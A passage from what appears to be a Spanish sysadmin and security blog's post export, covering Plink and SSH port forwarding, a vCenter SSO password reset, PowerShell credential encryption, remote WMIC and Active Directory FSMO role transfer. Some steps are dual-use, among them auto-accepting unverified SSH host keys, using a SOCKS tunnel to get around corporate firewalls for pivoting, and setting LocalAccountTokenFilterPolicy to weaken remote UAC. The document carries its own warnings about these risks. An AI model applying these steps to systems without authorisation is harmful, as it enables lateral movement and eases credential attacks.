codificación de caracteres). Figura 3: Conexión estándar SSH con Plink (Putty). Creando un túnel SSH port forwarding con Plink Con Plink al igual que con Putty podemos crear un túnel SSH. plink.exe -L \u0026lt;puerto_local\u0026gt;:\u0026lt;host_remoto\u0026gt;:\u0026lt;puerto_remoto\u0026gt; -P 22 -pw \u0026lt;password\u0026gt; \u0026lt;usuario\u0026gt;@\u0026lt;host_server_SSH\u0026gt; De esta forma simplemente aceptaremos el cacheo de hostkey y tendremos el reenvío de puertos establecido en la conexión SSH. Figura 4: Conexión túnel SSH port forwarding con Plink (Putty). Hay un tip un poco \u0026ldquo;sucio\u0026rdquo; que es auto aceptar la host key con: echo | plink.... Anula la verificación de hostkey echo y | plink ... acepta cualquier hostkey que presente el servidor sin verificarla, eliminando la única protección de SSH contra Man-in-the-Middle. Úsalo solo dentro de redes confiables (lab, backup interno por LAN); nunca en conexiones que crucen redes públicas o no controladas. echo y | plink.exe -L \u0026lt;puerto_local\u0026gt;:\u0026lt;host_remoto\u0026gt;:\u0026lt;puerto_remoto\u0026gt; -P 22 -pw \u0026lt;password\u0026gt; \u0026lt;usuario\u0026gt;@\u0026lt;host_server_SSH\u0026gt; Figura 5: Auto aceptando hostkey ssh con \u0026ldquo;echo y | plink\u0026hellip;\u0026rdquo;. Auto aceptar hostkey con Plink creando un túnel SSH port forwarding Hasta aquí todo correcto. El problema de esto es si queremos conectarnos con un reenvío de puertos forzando una versión particular del protocolo SSH con plink, hay que especificar los parámetros: -ssh -2 (la versión SSH). De este modo al intentar conectarnos por SSH estableciendo el reenvío de puertos para crear el túnel SSH. Y no tenemos la hostkey inicialmente cacheada en la máquina cliente, nos encontraremos con el siguiente problema. *Connection abandoned.* *Disconected: Aborted at host key verification.* Conectándose de este modo, forzando la versión 2 del protocolo SSH, no aparece la solicitud y/n (sí o no) para cachear la host key y directamente aborta la conexión. Figura 6: Intento de conexión abortada con Plink especificando la versión 2 del protocolo SSH. En este caso echo | plink... no funciona. La única forma de auto aceptar el host key de una conexión con plink forzando a la versión 2 del protocolo SSH y que tenga establecido un port forwarding para el uso de un túnel SSH. Sería especificar el parámetro -hostkey seguido del fingerprint correspondiente. La hostkey la podemos ver en una primera conexión, aunque esta no se establezca abortándose, igualmente se nos mostrará el fingerprint del host remoto correspondiente al servidor SSH. plink.exe -ssh -2 -batch -v -L \u0026lt;puerto_local\u0026gt;:\u0026lt;host_remoto\u0026gt;:\u0026lt;puerto_remoto\u0026gt; -P \u0026lt;puerto_ssh\u0026gt; -pw \u0026lt;password\u0026gt; \u0026lt;usuario\u0026gt;@\u0026lt;servidor_remoto_ssh\u0026gt; -hostkey \u0026lt;hostkey_fingerprint\u0026gt; Se especifica la host key correspondiente al servidor remoto SSH y vemos como la conexión se establece automáticamente. Figura 7: Especificar la hostkey del servidor SSH cuando esta aún no está cacheada en el equipo cliente. Probamos a conectarnos a través del túnel SSH creado. En este ejemplo era un reenvío de puertos del tipo local para una conexión RDP de Escritorio remoto. Figura 8: Conexión RDP tunelizado por SSH. Conexión establecida por RDP a través del tunelizado SSH. En una primera instancia auto aceptando la hostkey del servidor SSH cuando esta aún no está cacheada en la máquina cliente. Figura 9: Conexión tunelizada por SSH - Conexión RDP establecida. Saludos! "},{"title":"Resetear password SSO Administrator@vsphere.local en vCenter (VCSA)","url":"/posts/resetear-password-sso-administrator-vsphere-vcenter-vcsa/","summary":"Para resetear la password SSO del usuario \u0026ldquo;Administrator@vsphere.local\u0026rdquo; de vCenter. Accedemos a la gestión del VCSA (vCenter Server Appliance) por el puerto 5480 con el usuario root y …","tags":["Hardening","SSH","vSphere","vCenter"],"date":"2019-02-11","content":"Para resetear la password SSO del usuario \u0026ldquo;Administrator@vsphere.local\u0026rdquo; de vCenter. Accedemos a la gestión del VCSA (vCenter Server Appliance) por el puerto 5480 con el usuario root y password. https://IP-vCenter_o_hostname:5480 Una vez en el appliance de vCenter, en la sección de Acceso marcamos: Habilitar inicio de sesión en SSH. Habilitar el shell Bash. Figura 1: Habilitar el acceso SSH y Shell Bash para VCSA. Nos conectamos por SSH al vCenter y habilitamos el uso de acceso a Shell Bash y entramos en la Shell. shell.set --enabled true shell Una vez estamos en el Shell prompt \u0026ldquo;:~ #\u0026rdquo; ejecutamos vdcadmintool desde su ruta absoluta. /usr/lib/vmware-vmdir/bin/vdcadmintool Este ejecutará un menú de opciones, para este caso elegiremos la opción 3 \u0026ldquo;Reset account password\u0026rdquo;. Establecemos la cuenta SSO \u0026ldquo;Administrator@vsphere.local\u0026rdquo; y nos generará una password aleatoria. Con la opción 0 salimos del menú. Figura 2: Resetear password SSO Administrator desde vdcadmintool. Accedemos ahora a vSphere Web Client. https://IP-vCenter Nos identificamos con el usuario SSO Administrator@vsphere.local y la password generada anteriormente. Figura 3: SSO Administrator@vsphere.local vSphere Web Client. Una vez logueados cambiamos la password por la que queramos establecer. Figura 4: Cambiar password SSO Administrator@vsphere.local. Por último podemos configurar que la password nunca expire. Configuración \u0026gt; Directivas \u0026gt; Directiva de contraseñas, editamos la directiva y establecemos a 0 días la duración máxima en la que la contraseña se debe cambiar. Figura 5: Configurar que la password de SSO Administrator@vsphere.local nunca expire. Saludos! "},{"title":"Túnel SSH Port Forwarding: Local, Remote y Dynamic [Explicado]","url":"/posts/tunel-ssh-port-forwarding-local-remote-y-dynamic-explicado/","summary":" ¿Qué es SSH? Link to heading SSH (Secure Shell) es un protocolo de comunicaciones seguras entre dos sistemas usando una arquitectura cliente/servidor que permite a los usuarios conectarse a un host …","tags":["Pentesting","Red Team","SSH","Tunneling","Port Forwarding","Pivoting","Redes"],"date":"2019-01-30","content":" ¿Qué es SSH? Link to heading SSH (Secure Shell) es un protocolo de comunicaciones seguras entre dos sistemas usando una arquitectura cliente/servidor que permite a los usuarios conectarse a un host remotamente para su posterior administración. A diferencia de otros protocolos de comunicación remota como FTP o Telnet (Telecommunication Network), SSH cifra la sesión de conexión y la comunicación ofreciendo también una infraestructura de autenticación PKI (Public Key Infrastructure) para la conexión con el host remoto. Para poder establecer una conexión a un host que tenga implementado el rol de servidor SSH es necesario disponer de un cliente SSH. El puerto por defecto de escucha del servicio SSH es el 22. Una vez se disponga de una comunicación establecida al servidor SSH se pueden usar los protocolos SFTP (SSH File Transfer Protocol) o SCP (Secure Copy) para la transferencia segura de ficheros entre cliente/servidor. ¿Qué es un túnel SSH? (SSH Tunneling) Link to heading Es una técnica que consiste en encapsular un protocolo de red sobre otro o un determinado tráfico de red. En el caso de usar conexión SSH se trata de realizar esta técnica de forma segura añadiendo una capa de seguridad en la que los datos viajan de forma cifrada a través del túnel SSH, realizando un reenvío o redirección de puertos (port forwarding) desde una máquina local a otra remota (o viceversa) para establecer una comunicación a un recurso o servicio accesible solamente desde uno de los extremos de la red. Suele usarse para conectarse a un servicio remoto que solo se tiene acceso desde la red local remota. A través de un cliente SSH nos podemos conectar a un servidor SSH remoto que tenga acceso a la red remota a la que queremos acceder, especificar un reenvío de puertos para establecer las conexiones a ese servicio y así poder ejecutarlo de forma local desde la máquina que inició la conexión SSH. El método más habitual suele ser el reenvío de puertos local. ¿Tipos de reenvíos de puertos? (Port forwarding) Link to heading Reenvío de puerto local (Local port forwarding) Reenvío de puerto remoto (Remote port forwarding) Reenvío de puerto dinámico (Dynamic port forwarding) SSH Local Port Forwarding (LPF) Link to heading Local (Redirección de puertos local): Reenvía un puerto local a un host remoto. Si un servicio se ejecuta en la máquina remota en la que establecemos la conexión y queremos ejecutar este servicio en la máquina local que inicia la conexión, se puede acceder a este servicio desde nuestra máquina local usando la dirección local de loopback (127.0.0.1 o localhost) haciendo referencia al puerto mapeado a través de la conexión de inicio de la sesión SSH. Pongamos un escenario de ejemplo de una conexión local port forwarding de escritorio remoto RDP realizando pivoting a otro equipo distinto al servidor SSH. Supongamos que estamos en una red A y queremos acceder por escritorio remoto a un equipo situado en una red B (192.168.0.10), pero que por restricción del Firewall de la red A solo podemos realizar solicitudes de conexión al puerto 22 de SSH y no al puerto 3389 del servicio RDP. Lo que podemos hacer es crear una conexión desde un cliente SSH desde la red A (172.16.0.20) a un servidor SSH situado en la red B (192.168.0.15), en esa conexión tendremos que especificar un port forwarding local en un puerto aleatorio (mayor del puerto 1024 para que esté fuera del rango de \u0026ldquo;puertos bien conocidos\u0026rdquo;) por ejemplo el 9090 como puerto origen (puerto local) de la red A y la IP:3389 del equipo de la red B al que nos queremos conectar (192.168.0.10), después de establecer esta parametrización nos conectamos al servidor SSH de la red B para crear el túnel local. En el host de la red A que estableció la conexión desde el cliente SSH (172.16.0.20) abrimos un cliente de RDP (mstsc Windows, rdesktop o Remmina en Linux) y nos conectamos a \u0026ldquo;localhost:9090\u0026rdquo;. Esto redirigirá la petición del host localhost (172.16.0.20) del puerto 9090 al servidor SSH de la red B que a su vez este redirigirá la petición al host destino 192.168.0.10 hacia el puerto 3389 y así establecer la conexión RDP. En el caso de querer conectarse a otro servicio o desde otro host que no sea el propio host que realiza conexión desde el cliente SSH se especificaría: \u0026lt;host-remoto\u0026gt;:\u0026lt;puerto-remoto\u0026gt;. Desde una terminal se usa el parámetro -L para port forwarding local. ssh -L \u0026lt;puerto-local-escucha\u0026gt;:\u0026lt;host-remoto\u0026gt;:\u0026lt;puerto-remoto\u0026gt; \u0026lt;servidor-ssh\u0026gt; ssh -L 9090:192.168.0.10:3389 mi.servidorssh.com Si el servidor remoto SSH al que nos conectamos para realizar el pivoting del primer salto (mi.servidorssh.com) está expuesto por otro puerto que no sea el 22 por defecto, podemos especificarlo con el parámetro -p \u0026lt;puerto-servidor-ssh\u0026gt;. Figura 1: PuTTY - Local port forwarding SSH Tunneling. Cliente SSH (Red A): 172.16.0.20 Servidor SSH (Red B): 192.168.0.15 Host RDP (Red B): 192.168.0.10 Figura 2: SSH port forwarding - Túnel SSH local. SSH Remote Port Forwarding (RPF) Link to heading Remote (Redirección de puertos inversa): Reenvía un puerto remoto a un host local. Al contrario que una conexión de túnel local, si un servicio solo es accesible desde una máquina de la red local y se necesita tener conexión a él de forma remota. Se puede usar un puerto específico de escucha para conectarse a esa máquina remota y que esta nos proporcione el servicio a través de ella, pivotando posteriormente esa conexión a la máquina desde la que se inicia la sesión SSH. Pongamos un ejemplo con los mismos hosts del escenario anterior de una conexión remote port forwarding de escritorio remoto RDP. Supongamos que estamos en una red A y queremos ofrecer el servicio de escritorio remoto RDP situado en la red A (172.16.0.20), pero este servicio hacia este host solo es accesible desde la red A y no desde otras redes externas. Lo que podemos hacer es crear una conexión con un cliente SSH desde el mismo host de la red A a un servidor SSH situado en la red B (192.168.0.15), en esa conexión tendremos que especificar un port forwarding remote en un puerto aleatorio (mayor del puerto 1024 para que esté fuera del rango de \u0026ldquo;puertos bien conocidos\u0026rdquo;) por ejemplo el 9090 como puerto origen (puerto remoto) de la red B y la 172.16.0.20:3389 del equipo de la red A del que queremos ofrecer la conexión RDP (sería válido también localhost:3389 ya que se trata del mismo equipo local quien es el cliente SSH que establece la conexión), después de establecer esta parametrización nos conectamos al servidor SSH de la red B para crear el túnel remoto. La idea es prácticamente la misma que el túnel local, la diferencia está en que la conexión se establece de forma inversa (reverse port forwarding). En el host 192.168.0.10 de la red B abrimos un cliente de RDP (mstsc Windows, rdesktop o Remmina en Linux) y nos conectamos a \u0026ldquo;192.168.0.5:9090\u0026rdquo; (servidor SSH de la red A). Esto redirigirá la petición al puerto 9090 al host destino de la red B 172.16.0.20 hacia el puerto 3389 para establecer la conexión RDP. En el caso de ofrecer otro servicio o desde otro host que no sea el propio host que realiza conexión desde el cliente SSH se especificaría: \u0026lt;host-local\u0026gt;:\u0026lt;puerto-local\u0026gt;. Directivas en el servidor SSH (/etc/ssh/sshd_config) Link to heading Para que el servidor SSH permita las conexiones de puertos de reenvío remoto es necesario habilitar principalmente la directiva GatewayPorts. Referencia: https://linux.die.net/man/5/sshd_config AllowTcpForwarding Link to heading Especifica si se permite el reenvío de TCP, de forma predeterminada el valor está establecido a \u0026ldquo;yes\u0026rdquo;. GatewayPorts Link to heading Especifica si los hosts remotos pueden conectarse a los puertos reenviados para el cliente. De forma predeterminada, enlaza los reenvíos de puertos remotos a la dirección de loopback. Esto evita que otros hosts remotos se conecten a puertos reenviados. Por lo que para poder usarse para el reenvío de puertos remotos debe establecerse a \u0026ldquo;yes\u0026rdquo;. Desde una terminal se usa el parámetro -R para port forwarding remote. ssh -R \u0026lt;puerto-remoto-escucha\u0026gt;:\u0026lt;host-local\u0026gt;:\u0026lt;puerto-local\u0026gt; \u0026lt;servidor-ssh\u0026gt; ssh -R 9090:172.168.0.20:3389 mi.servidorssh.com o también ssh -R 9090:localhost:3389 mi.servidorssh.com Si el servidor remoto SSH al que nos conectamos para realizar el pivoting del primer salto (mi.servidorssh.com) está expuesto por otro puerto que no sea el 22 por defecto, podemos especificarlo con el parámetro -p \u0026lt;puerto-servidor-ssh\u0026gt;. Figura 3: PuTTY - Remote port forwarding SSH Tunneling. Cliente SSH y Host RDP (Red A): 172.16.0.20 Servidor SSH (Red B): 192.168.0.15 Client RDP (Red B): 192.168.0.10 Figura 4: SSH port forwarding - Túnel SSH remoto. SSH Dynamic Port Forwarding (DPF) Link to heading Dynamic (Redirección de puertos dinámica): Utiliza SOCKS. Se comporta como un proxy SOCKS, suele usarse si nos necesitamos conectar a un software que espera un reenvío de SOCKS. La idea es igual que cuando se establece un túnel local SSH. La diferencia es que los datos se enviarían a todos los destinos remotos. Para utilizar este tipo de conexión es necesario que la aplicación del cliente que se conecta al puerto local debe enviar tráfico mediante el protocolo SOCKS. En el lado del túnel del cliente se crearía un proxy SOCKS y la aplicación (por ejemplo un navegador web) utiliza el protocolo SOCKS para especificar dónde debe enviarse el tráfico cuando sale del otro extremo del túnel SSH. SSH creará un proxy SOCKS que escuchará las conexiones en el puerto 9090, al recibir una solicitud enrutará el tráfico a través del canal SSH establecido entre la red A (172.16.0.20) y la red B (192.168.0.15). Para ello, es necesario configurar la aplicación (navegador web) del host de la red A para que apunte al proxy SOCKS en el puerto 9090 en localhost. De ese modo estaremos saliendo con la conexión pública (si el mecanismo NAT está habilitado) a través de este navegador web como si estuviésemos en la red B. Si en vez de usar la dirección de loopback 127.0.0.1 refiriéndose a la dirección local, se usa una dirección de red no enrutable como 0.0.0.0 (indicando desde \u0026ldquo;cualquier lugar\u0026rdquo; -anywhere-) y especificando un puerto concreto, podemos indicar que se configure un Proxy SOCKS en el navegador web de cualquier máquina remota y así desde cualquier máquina de la red se establezca un túnel directo a nuestra máquina y que este tunelice el tráfico web recibido, bypaseando el tráfico restringido por los firewalls internos de la empresa. Ejecutándolo desde un cliente SSH desde la red A. Desde una terminal se usa el parámetro -D para port forwarding dynamic. ssh -D \u0026lt;puerto-origen-dinámico-escucha\u0026gt; \u0026lt;servidor-ssh\u0026gt; ssh -D 9090 mi.servidorssh.com Si el servidor remoto SSH al que nos conectamos para realizar el pivoting del primer salto (mi.servidorssh.com) está expuesto por otro puerto que no sea el 22 por defecto, podemos especificarlo con el parámetro -p \u0026lt;puerto-servidor-ssh\u0026gt;. Figura 5: PuTTY - Dynamic port forwarding SSH Tunneling. Figura 6: Proxy SOCKS navegador web. Cliente SSH (Red A): 172.16.0.20 Servidor SSH (Red B): 192.168.0.15 Figura 7: SSH port forwarding - Túnel SSH dinámico. Repositorio Github: https://github.com/adrianlois/SSH-Tunnel-Port-forwarding Saludos! "},{"title":"Cifrar passwords con PowerShell","url":"/posts/cifrar-passwords-con-powershell/","summary":"Con PowerShell podemos generar o almacenar contraseñas simétricas, secretos (tipo API Key o Access Token) o simplemente cadenas de texto y guardarlas cifradas de forma segura en ficheros de scripts …","tags":["Hardening","Blue Team","PowerShell","Backups"],"date":"2019-01-18","content":"Con PowerShell podemos generar o almacenar contraseñas simétricas, secretos (tipo API Key o Access Token) o simplemente cadenas de texto y guardarlas cifradas de forma segura en ficheros de scripts Powershell. En un caso práctico este método lo llevo utilizando ya un tiempo para almacenar las contraseñas necesarias que se usan en scripts automatizados para realizar en este caso copias de seguridad. https://github.com/adrianlois/Automatizar-Backups-FTP-PowerShell Crear passwords cifradas con PowerShell para usar desde el mismo usuario Link to heading Cuando establecemos una password en Powershell y la volcamos en un fichero, el fichero que contiene la password cifrada solo se podría usar desde el mismo usuario que la estableció. Para establecer una password con Powershell y volcarla a un fichero de forma cifrada convirtiendo la cadena de texto claro establecida a una cadena cifrada segura (ConvertFrom-SecureString). Read-Host -AsSecureString \u0026#34;Password fichero\u0026#34; | ConvertFrom-SecureString | Set-Content \u0026#34;C:\\Passwords\\fichero-passwd-cifrada\u0026#34; Llamar al fichero con la password cifrada almacenada en un script Powershell, convertir la cadena cifrada en texto claro (ConvertTo-SecureString). Get-Content \u0026#34;C:\\Passwords\\fichero-passwd-cifrada\u0026#34; | ConvertTo-SecureString Repositorio donde se muestra este método y un video demo PoC. https://github.com/adrianlois/Automatizar-Backups-FTP-PowerShell/tree/master/backup-v2.0 Crear passwords cifradas con PowerShell generando un keyfile portable para usar desde cualquier usuario o máquina Link to heading Otra forma de cifrar las passwords en Powershell sería generar un keyfile (fichero llave único para descifrarlas). De ese modo teniendo el keyfile y referenciándolo en el script de Powershell se pueden cifrar con el keyfile y posteriormente descifrar las password establecida volcada en el fichero. La ventaja respecto al método anterior, es que se pueden descifrar los ficheros que almacenan las passwords cifradas desde cualquier usuario de la misma máquina o cualquier usuario de otra máquina distinta. Pudiendo así transportar los ficheros de passwords y keyfile para ser utilizados de una forma portable por otros usuarios o máquinas. Generar el keyfile y establecer la password para volcarla a un fichero asociándola al keyfile (Read-Host -AsSecureString , ConvertFrom-SecureString -Key). $CifradoKeyFile = New-Object Byte[] 32 [Security.Cryptography.RNGCryptoServiceProvider]::Create().GetBytes($CifradoKeyFile) $CifradoKeyFile | Out-File \u0026#34;C:\\Passwords\\CifradoKeyFile.key\u0026#34; Read-Host -AsSecureString \u0026#34;Establece una Password\u0026#34; | ConvertFrom-SecureString -Key (Get-Content \u0026#34;C:\\Passwords\\CifradoKeyFile.key\u0026#34;) | Set-Content \u0026#34;C:\\Passwords\\fichero-passwd-cifrada\u0026#34; Para descifrar y leer el contenido cifrado a través de un script Powershell se concatena el fichero de password cifrado y su keyfile (ConvertTo-SecureString -Key). Get-Content \u0026#34;C:\\Passwords\\fichero-passwd-cifrada\u0026#34; | ConvertTo-SecureString -Key (Get-Content \u0026#34;C:\\Passwords\\CifradoKeyFile.key\u0026#34;) ¿Cómo parametrizar usuario y password en un script Powershell sin establecer la password en texto claro? Link to heading Haciendo uso de lo anterior, usando un fichero key para que la password pueda ser leída desde cualquier usuario o máquina, un ejemplo podría ser el siguiente. $password = Get-Content C:\\Passwords\\password.txt | ConvertTo-SecureString -Key (Get-Content C:\\Passwords\\aes.key) $credential = New-Object System.Management.Automation.PsCredential(\u0026#34;Username\u0026#34;,$password) Repositorio donde se muestra este método con generación de keyfile y un video demo PoC. https://github.com/adrianlois/Automatizar-Backups-FTP-PowerShell/tree/master/backup-v2.1 ConvertTo-SecureString hace uso de DPAPI (Data Protection API) usando un algoritmo de cifrado AES256 en versiones modernas o 3DES en antiguas, crea un hash en base a la clave del usuario. Más info de cómo funciona el proceso de cifrado. Liberar o eliminar las passwords almacenadas en un puntero de memoria Link to heading Cuando se crea una cadena tipo SecureString esta es almacenada en un espacio de memoria aparte, donde el recolector de basura de .NET de Powershell (CG - Garbage Collector) no puede acceder por lo que es recomendable vaciar este espacio de memoria que se asigna a un puntero. ZeroFreeCoTaskMemUnicode: Libera un puntero a una cadena no administrada que se ha asignado con el método. En el siguiente ejemplo se muestra cómo se crea una cadena segura y se almacena en una variable. Se convierte a texto claro gracias a que conocemos el indicador del puntero en memoria y finalmente liberamos ese puntero. Con esto se evitará el almacenamiento en memoria de la credencial almacenada. PS C:\\\u0026gt; $sec = Read-Host -AsSecureString ******* PS C:\\\u0026gt; $ptr = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($sec) PS C:\\\u0026gt; $ptr 114228428 PS C:\\\u0026gt; $plaintext = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($ptr) PS C:\\\u0026gt; $plaintext Abc123. PS C:\\\u0026gt; [System.Runtime.InteropServices.Marshal]::ZeroFreeCoTaskMemUnicode($ptr) Saludos! "},{"title":"WMIC en equipos remotos: Windows Management Instrumentation","url":"/posts/ejecutar-wmic-equipos-remotos-windows-management-instrumentation/","summary":"Si nos surgen problemas para la ejecución de sentencias WMIC en máquinas o nodos remotos, mostraré los errores más comunes y como solucionarlos.\nUn error puede ser que no estén habilitadas las …","tags":["Post-Explotación","Movimiento lateral","Red Team","WMI","SMB","ACLs","Permisos","PsExec"],"date":"2019-01-15","content":"Si nos surgen problemas para la ejecución de sentencias WMIC en máquinas o nodos remotos, mostraré los errores más comunes y como solucionarlos. Un error puede ser que no estén habilitadas las llamadas a procedimientos remotos (RPC). Error: Descripción = El servidor RPC no está disponible. Figura 1: Error - \u0026ldquo;El servidor RPC no está disponible\u0026rdquo; (wmic). Otro error común podría ser la falta de permisos para ejecutar WMIC en nodos remotos. Error: Descripción = Acceso denegado. Figura 2: Error - \u0026ldquo;Acceso denegado\u0026rdquo; (wmic). Comprobar que el servicio \u0026ldquo;Instrumental de administración de Windows\u0026rdquo; (Winmgmt) está habilitado en el tipo de inicio automático y esté en ejecución. Figura 3: Servicios winmgmt (wmic) en Windows. Habilitar la regla por aplicaciones permitidas del firewall (WFAS) de Windows para permitir comunicaciones y llamadas RPC de WMI. Dependiendo de cada caso si se trata de una red privada o de dominio. Figura 4: Reglas del WFAS (Windows Firewall Advanced Security) permitir la comunicación para WMI. Verificar que el uso compartido de archivos e impresoras esté activado para el tipo de red según sea el caso. Por defecto en una red de dominio esta característica suele estar activada por defecto cuando un equipo cliente se une al dominio. Figura 5: Activar el uso de recurso compartido de archivos e impresoras. Comprobar que en la consola del equipo remoto haya permisos suficientes para el usuario que ejecutará wmic. Esto se puede modificar en la consola de Microsoft wmimgmt.msc, en la pestaña de seguridad, se modifican los permisos para permitir la Llamada remota habilitada y Ejecutar métodos. Figura 6: Permisos de seguridad al Control WMI. Por último, y algo fundamental según las pruebas que he realizado, es que independientemente de si el equipo cliente remoto en el que se quiere ejecutar WMI forme parte de una red de dominio o una red privada. Será necesario crear un valor en el registro de Windows LocalAccountTokenFilterPolicy algo ya comentado en este artículo. Desde mi punto de vista esto no es aconsejable a métodos de seguridad, no es para nada una buena práctica, pero si se trata de casos puntuales en los que se necesita realizar una serie de acciones remotas simplemente, por seguridad aconsejo volver a eliminar este valor del registro. Para poder ejecutar este valor en el registro podemos hacerlo ejecutando una CMD en el equipo remoto a través de PsExec (PsTools de Sysinternals). En este artículo se detalla cómo hacerlo. El valor LocalAccountTokenFilterPolicy se trata básicamente de \u0026ldquo;deshabilitar\u0026rdquo; el UAC (User Account Control) para la ejecución de acciones remotas. Debilita el filtrado UAC remoto LocalAccountTokenFilterPolicy=1 desactiva el token de filtrado de UAC en inicios de sesión remotos con cuentas locales. En entornos donde el Administrador local comparte hash entre estaciones, abre la puerta a Pass-the-Hash trivial. Aplícalo solo durante la operación puntual y reviértelo (=0 o borrando la clave) al terminar. Para añadir el valor LocalAccountTokenFilterPolicy a través de una CMD: reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f Para posteriormente eliminar el valor LocalAccountTokenFilterPolicy a través de una CMD: reg delete HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\system /v LocalAccountTokenFilterPolicy /f En el siguiente ejemplo se puede ver cómo se ejecuta WMIC remotamente desde un equipo local a un equipo remoto usando \u0026ldquo;wmic /node\u0026rdquo;, especificando la dirección IP local o el hostname del equipo remoto y un usuario/password con privilegios administrativos en la máquina remota. wmic /node:ip_hostname /user:usuario /password:password bios get serialnumber Figura 7: Ejecución remota de \u0026ldquo;wmic /node\u0026rdquo;. Saludos! "},{"title":"Transferir roles FSMO en Windows Server y purgar servicios de Active Directory","url":"/posts/transferir-roles-fsmo-windows-server-purgado-servicios-active-directory/","summary":"Los roles de maestros de operaciones FSMO (Flexible Single Master Operations) es una característica de Active Directory. Se trata de un conjunto de tareas de un controlador de dominio usadas …","tags":["Hardening","Blue Team","Active Directory","FSMO","DNS"],"date":"2018-12-27","content":"Los roles de maestros de operaciones FSMO (Flexible Single Master Operations) es una característica de Active Directory. Se trata de un conjunto de tareas de un controlador de dominio usadas principalmente para la replicación entre controladores de dominio. Existen 5 roles FSMO en un Active Directory: Schema Master (Maestro de Esquema). Uno por Bosque. Domain Naming Master (Maestro de Nomenclatura de Dominios). Uno por Bosque. RID Master - Relative Identifier Master (Maestro Identificador Relativo). Uno por Dominio. Infrastructure Master (Maestro de Infraestructura). Uno por Dominio. PDC Emulator - Primary Domain Controller Emulator (Maestro Controlador Principal de Dominio). Uno por Dominio. Figura 1: 5 Roles FSMO en Active Directory. Comprobar el estado de los controladores de dominio Link to heading dcdiag (Domain Controller Diagnostic Tool) es una herramienta con la que podemos analizar el estado de los controladores de dominio de un bosque, ejecutando una serie de verificaciones se podrá diagnosticar su funcionamiento. En el siguiente caso vemos el resultado del análisis en un bosque en el que existen dos controladores de dominio, uno de ellos está activo (SrvDominio Windows Server 2016) y el otro inactivo (apagado, Windows Server 2008 R2). C:\\\u0026gt; dcdiag ... ... Probando servidor: Nombre-predeterminado-primer-sitio\\SRVDOMINIO Iniciando prueba: Advertising Advertencia: SRVDOMINIO no se está anunciando como un servidor horario. ......................... SRVDOMINIO no superó la prueba Advertising Iniciando prueba: FrsEvent Existen eventos de advertencia o de error en las últimas 24 horas después de compartir SYSVOL. Los problemas de replicación de SYSVOL incorrecta pueden ocasionar problemas de la directiva de grupo. ......................... SRVDOMINIO superó la prueba FrsEvent Iniciando prueba: DFSREvent ......................... SRVDOMINIO superó la prueba DFSREvent Iniciando prueba: SysVolCheck ......................... SRVDOMINIO superó la prueba SysVolCheck Iniciando prueba: KccEvent ......................... SRVDOMINIO superó la prueba KccEvent Iniciando prueba: KnowsOfRoleHolders [ADCONTROL1] Error en DsBindWithSpnEx(): 1722, El servidor RPC no está disponible.. Advertencia: ADCONTROL1 es Schema Owner, pero no responde al enlace RPC de DS. Error en la búsqueda de atributos con capacidad de búsqueda LDAP en el servidor ADCONTROL1. Valor devuelto = 81 Advertencia: ADCONTROL1 es Schema Owner, pero no responde al enlace LDAP. Advertencia: ADCONTROL1 es Domain Owner, pero no responde al enlace RPC de DS. Advertencia: ADCONTROL1 es Domain Owner, pero no responde al enlace LDAP. Advertencia: ADCONTROL1 es PDC Owner, pero no responde al enlace RPC de DS. Advertencia: ADCONTROL1 es PDC Owner, pero no responde al enlace LDAP. Advertencia: ADCONTROL1 es Rid Owner, pero no responde al enlace RPC de DS. Advertencia: ADCONTROL1 es Rid Owner, pero no responde al enlace LDAP. Advertencia: ADCONTROL1 es Infrastructure Update Owner, pero no responde al enlace RPC de DS. Advertencia: ADCONTROL1 es Infrastructure Update Owner, pero no responde al enlace LDAP. ......................... SRVDOMINIO no superó la prueba KnowsOfRoleHolders ... ... Transferir roles FSMO entre Domain Controller Link to heading Listar los roles FSMO Link to heading Consolas de Microsoft Link to heading Podemos ver los roles FSMO de forma gráfica a través de las propias consolas de gestión de Microsoft. En la consola de \u0026ldquo;Usuarios y equipos de Active Directory\u0026rdquo; (dsa.msc) podemos ver los siguientes roles de maestros de operaciones: Administrador de grupos RID, PDC y Maestro de infraestructura. Figura 2: Maestro de operaciones dsa.msc (RID, PDC e Infrastructure). En la consola de \u0026ldquo;Sitios y confianzas de Active Directory\u0026rdquo; (domain.msc) podemos ver los siguientes roles de maestros de operaciones: Maestro de nomenclatura de dominio. Figura 3: Sitios y confianzas de Active Directory domain.msc (Maestro de nomenclatura de dominio). Para poder gestionar la siguiente consola debemos registrar antes una dll en el sistema. regsvr32 schmmgmt.dll Una vez registrada, abrimos una mmc.exe y agregamos el complemento de la consola de \u0026ldquo;Esquema de Active Directory\u0026rdquo; donde podemos ver los siguientes roles de maestros de operaciones: Maestro de esquema. Figura 4: Esquema de Active Directory (Maestro de esquema). Obtener Roles FSMO Link to heading Opción 1: netdom Link to heading Existe otra forma de ver más rápidamente y gestionarlo de forma más cómoda como es utilizar netdom una utilidad de línea de comandos para la administración de Active Directory y Relaciones de confianza. netdom query fsmo Figura 5: netdom query fsmo. ntdsutil es una utilidad de línea de comandos para la administración de ADDS (Active Directory Domain Services). Opción 2: PowerShell - Get-ADDomainController y Get-ADForest Link to heading Obtener un listado de todos los controladores de dominio de todos los dominios disponibles, comprobar si están habilitados, Hostname e IP (indicar -Domain para indicar un dominio específico). Get-ADDomainController -Filter * | Select-Object HostName, IPv4Address, Enabled Obtener un listado de los roles FSMO asociados a los controladores de dominio. Get-ADDomain | Select-Object InfrastructureMaster, RIDMaster, PDCEmulator | Format-List Get-ADForest | Select-Object DomainNamingMaster, SchemaMaster | Format-List FSMO: ¿Transfer o Seize? Link to heading Transferir ROLES de un servidor activo a uno nuevo (de ADCONTROL1 a SRVDOMINIO) C:\\\u0026gt; ntdsutil ntdsutil: roles fsmo maintenance: connections server connections: connect to server SrvDominio Enlazando a SrvDominio ... Conectado a SrvDominio usando credenciales de usuario conectado localmente. server connections: q fsmo maintenance: transfer naming master fsmo maintenance: transfer infrastructure master fsmo maintenance: transfer PDC fsmo maintenance: transfer RID master fsmo maintenance: transfer schema master fsmo maintenance: q ntdsutil: q Transferir ROLES de un servidor inactivo (apagado) a uno activo (de ADCONTROL1 a SRVDOMINIO) C:\\\u0026gt; ntdsutil ntdsutil: roles fsmo maintenance: connections server connections: connect to server SrvDominio Enlazando a SrvDominio ... Conectado a SrvDominio usando credenciales de usuario conectado 